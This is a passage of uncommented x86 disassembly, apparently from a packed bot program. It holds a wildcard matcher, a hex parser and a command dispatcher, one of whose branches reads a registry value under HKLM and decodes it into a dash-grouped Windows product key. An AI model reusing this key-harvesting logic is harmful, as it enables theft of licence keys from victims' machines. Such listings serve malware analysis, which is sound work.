		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A730
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A70A
		mov	al, 1
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A70A:				; CODE XREF: sub_40A6EB+16j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A729
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		push	[ebp+arg_0]
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A729:				; CODE XREF: sub_40A6EB+28j
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A730:				; CODE XREF: sub_40A6EB+Cj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A741
		xor	al, al
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A741:				; CODE XREF: sub_40A6EB+4Dj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A767
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_40A6EB+64j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 41h
		jl	short loc_40A77D
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ah
		jle	short loc_40A793


loc_40A77D:				; CODE XREF: sub_40A6EB+85j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 61h
		jl	short loc_40A7BC
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Ah
		jg	short loc_40A7BC


loc_40A793:				; CODE XREF: sub_40A6EB+90j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		xor	eax, 20h
		mov	ecx, [ebp+arg_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_40A7BC
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7BC:				; CODE XREF: sub_40A6EB+9Bj
					; sub_40A6EB+A6j ...
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40A7DD
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	locret_40A86B
; ---------------------------------------------------------------------------


loc_40A7DD:				; CODE XREF: sub_40A6EB+DAj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A820
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_40A7FE
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jle	short loc_40A809


loc_40A7FE:				; CODE XREF: sub_40A6EB+106j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40A81C


loc_40A809:				; CODE XREF: sub_40A6EB+111j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		inc	eax
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A81C:				; CODE XREF: sub_40A6EB+11Cj
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A820:				; CODE XREF: sub_40A6EB+FBj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Ah
		jnz	short loc_40A869
		and	[ebp+var_4], 0
		jmp	short loc_40A838
; ---------------------------------------------------------------------------


loc_40A831:				; CODE XREF: sub_40A6EB:loc_40A867j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: .packed:0041AE78o
					; .packed:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8
		push	eax
		call	dword_4171E4
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028
		push	7
		pop	ecx
		mov	esi, offset aALSsSCJEKi	; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›"
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
